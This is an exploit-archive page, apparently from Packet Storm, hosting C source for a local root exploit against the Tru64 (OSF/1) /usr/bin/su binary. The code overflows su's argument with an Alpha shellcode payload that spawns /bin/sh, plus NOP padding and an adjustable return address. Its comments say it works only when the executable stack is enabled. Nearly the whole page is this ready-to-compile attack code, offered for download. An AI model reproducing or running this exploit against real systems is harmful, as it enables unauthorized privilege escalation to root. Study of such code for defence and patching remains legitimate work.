what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tru-64.su.c

tru-64.su.c
Posted Jan 27, 2001
Authored by ADM, Shane A. Macaulay

Tru64 (OSF/1) /usr/bin/su local exploit - Works if executable stack is on.

tags | exploit, local
SHA-256 | f67306c7d5e8a80b0d9dd9ec31f5862dc99315e27b96ffd753df2a04197de25e

tru-64.su.c

Change Mirror Download
/*      Copyright (c) 2000 ADM                                  */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: Tru64 5 su */
/* Tested under: Tru64 5A (OSF/1) */
/* By: K2 (thx horizon,lamont :) */
/* Use: cc -o tru64-su tru64-su.c */
/* Issues: Tru64 re-implmented non-exec patch, */
/* I'm working on non-exec alpha technique */
/* so it will only work if, */
/* do this -> "sysconfig -q proc executable_stack" */
/* and see if -> "executable_stack = 1" */
/* else? */
/* wait for new alpha non-exec stack exploit */
/* */


#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <stdio.h>

#define BUFSIZE 8241
char *nop = "\x1f\x04\xff\x47";
char *retaddr = "\xe4\xc0\xff\x1f\x01\x00\x00\x00";

/* lamont's shellcode */

int rawcode[] = {
0x2230fec4, /* subq $16,0x13c,$17 [2000]*/
0x47ff0412, /* clr $18 [2000]*/
0x42509532, /* subq $18, 0x84 [2000]*/
0x239fffff, /* xor $18, 0xffffffff, $18 */
0x4b84169c,
0x465c0812,
0xb2510134, /* stl $18, 0x134($17)[2000]*/
0x265cff98, /* lda $18, 0xff978cd0[2000]*/
0x22528cd1,
0x465c0812, /* xor $18, 0xffffffff, $18 */
0xb2510140, /* stl $18, 0x140($17)[2000]*/
0xb6110148, /* stq $16,0x148($17) [2000]*/
0xb7f10150, /* stq $31,0x150($17) [2000]*/
0x22310148, /* addq $17,0x148,$17 [2000]*/
0x225f013a, /* ldil $18,0x13a [2000]*/
0x425ff520, /* subq $18,0xff,$0 [2000]*/
0x47ff0412, /* clr $18 [2000]*/
0xffffffff, /* call_pal 0x83 [2000]*/
0xd21fffed, /* bsr $16,$l1 ENTRY */
0x6e69622f, /* .ascii "/bin" [2000]*/
/* .ascii "/sh\0" is generated */
};

int main(int argc, char **argv)
{
char buf[BUFSIZE+4];
char *env[2];
char *cp,*rc;
int i;

if(argc > 1) retaddr[0]+=atoi(argv[1]);

memset(&buf,'A',BUFSIZE-8);
cp=(char *) &(buf[BUFSIZE-8]);

for (i=0;i<8;i++)
*cp++=retaddr[i];

rc=(char *)rawcode;
cp=buf;

for(i=0;i<8;i++)
*cp++ = 0x6e;

for(i=0;i<72;i++)
*cp++ = rc[i];
for(i=0;i<320;i++)
*cp++ = nop[i % 4];
*cp++=rc[72]-80;
for(i=1;i<8;i++)
*cp++ = rc[i+72];

env[1]=NULL;

execle("/usr/bin/su","su",buf, NULL,env);
return(0);
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close